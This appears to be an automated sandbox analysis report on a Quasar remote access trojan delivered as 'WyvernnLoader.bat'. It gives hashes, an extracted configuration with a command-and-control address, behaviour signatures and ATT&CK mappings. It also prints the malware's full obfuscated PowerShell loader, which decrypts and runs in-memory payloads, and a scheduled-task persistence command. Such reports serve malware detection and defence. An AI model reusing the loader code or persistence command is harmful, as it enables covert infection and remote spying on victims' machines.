quasar | f4b37a9883067f99e2d4c09c5c7c99e50c694212808d6041623644c574177e8b

General

Target

WyvernnLoader.bat
Size

1.6MB
MD5

2e8b7b4aa7c67de8af9a98796ebef407
SHA1

1b431b74102a1f321833d8eff397667c77c65e6e
SHA256

f4b37a9883067f99e2d4c09c5c7c99e50c694212808d6041623644c574177e8b
SHA512

d0d6756843ea10d369e98a3e4a75d00e0fd59416f415c57637576cf47ebc9c3f1f4b2debaf1db16f48f76f8c206ba257ec3f14f1d8fdd5382f0bfc228a231463
SSDEEP

24576:NLS0EdLggkaNdVHdPZHaTrqYXWfX2wTcxG/VxDrG4BmJL549VbiIN8zCQj4rae1:NB+8xaHV9PWRfKTb2Bja

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

147.185.221.18:18043

Mutex

b70563dc-1a4b-4e44-8c78-87c8f325342d

Attributes

encryption_key
211206313CE42AACEA301C4CAC6CB50A5128C03B
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
Management

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2988-15-0x0000019033E40000-0x0000019034164000-memory.dmp	family_quasar

Blocklisted process makes network request 6 IoCs

flow	pid	Process
2	2988	powershell.exe
9	2988	powershell.exe
15	2988	powershell.exe
16	2988	powershell.exe
17	2988	powershell.exe
23	2988	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2988	powershell.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1132	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2988	powershell.exe
2988	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2988	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2988	powershell.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2988	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2952 wrote to memory of 2988	2952	cmd.exe	94
PID 2952 wrote to memory of 2988	2952	cmd.exe	94
PID 2988 wrote to memory of 1132	2988	powershell.exe	97
PID 2988 wrote to memory of 1132	2988	powershell.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WyvernnLoader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XZII/d9kkEQttq/hiVyS2BmFzqEJ5nlwNGUkUnizcUk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UTDUKX/5ym5ZImZxC+ySDg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nvFWX=New-Object System.IO.MemoryStream(,$param_var); $lduLx=New-Object System.IO.MemoryStream; $znyBk=New-Object System.IO.Compression.GZipStream($nvFWX, [IO.Compression.CompressionMode]::Decompress); $znyBk.CopyTo($lduLx); $znyBk.Dispose(); $nvFWX.Dispose(); $lduLx.Dispose(); $lduLx.ToArray();}function execute_function($param_var,$param2_var){ $FmAAH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qDXJE=$FmAAH.EntryPoint; $qDXJE.Invoke($null, $param2_var);}$SBbdD = 'C:\Users\Admin\AppData\Local\Temp\WyvernnLoader.bat';$host.UI.RawUI.WindowTitle = $SBbdD;$OXHIK=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SBbdD).Split([Environment]::NewLine);foreach ($qWWAf in $OXHIK) { if ($qWWAf.StartsWith(':: ')) { $qxDSF=$qWWAf.Substring(3); break; }}$payloads_var=[string[]]$qxDSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\Management\Client.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1132

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4008,i,5711962389779687290,1245653010537220991,262144 --variations-seed-version --mojo-platform-channel-handle=4084 /prefetch:8
1⤵
PID:3424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xk2lp41x.eug.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2988-14-0x0000019033D10000-0x0000019033E42000-memory.dmp

Filesize
1.2MB

Download
memory/2988-1-0x0000019031930000-0x0000019031952000-memory.dmp

Filesize
136KB

Download
memory/2988-11-0x00007FFC061C0000-0x00007FFC06C81000-memory.dmp

Filesize
10.8MB

Download
memory/2988-12-0x00007FFC061C0000-0x00007FFC06C81000-memory.dmp

Filesize
10.8MB

Download
memory/2988-13-0x0000019019700000-0x0000019019708000-memory.dmp

Filesize
32KB

Download
memory/2988-0-0x00007FFC061C3000-0x00007FFC061C5000-memory.dmp

Filesize
8KB

Download
memory/2988-15-0x0000019033E40000-0x0000019034164000-memory.dmp

Filesize
3.1MB

Download
memory/2988-16-0x00007FFC061C0000-0x00007FFC06C81000-memory.dmp

Filesize
10.8MB

Download
memory/2988-17-0x0000019035800000-0x0000019035850000-memory.dmp

Filesize
320KB

Download
memory/2988-18-0x0000019035910000-0x00000190359C2000-memory.dmp

Filesize
712KB

Download
memory/2988-19-0x0000019035ED0000-0x0000019036092000-memory.dmp

Filesize
1.8MB

Download
memory/2988-20-0x00007FFC061C0000-0x00007FFC06C81000-memory.dmp

Filesize
10.8MB

Download
memory/2988-21-0x00007FFC061C3000-0x00007FFC061C5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads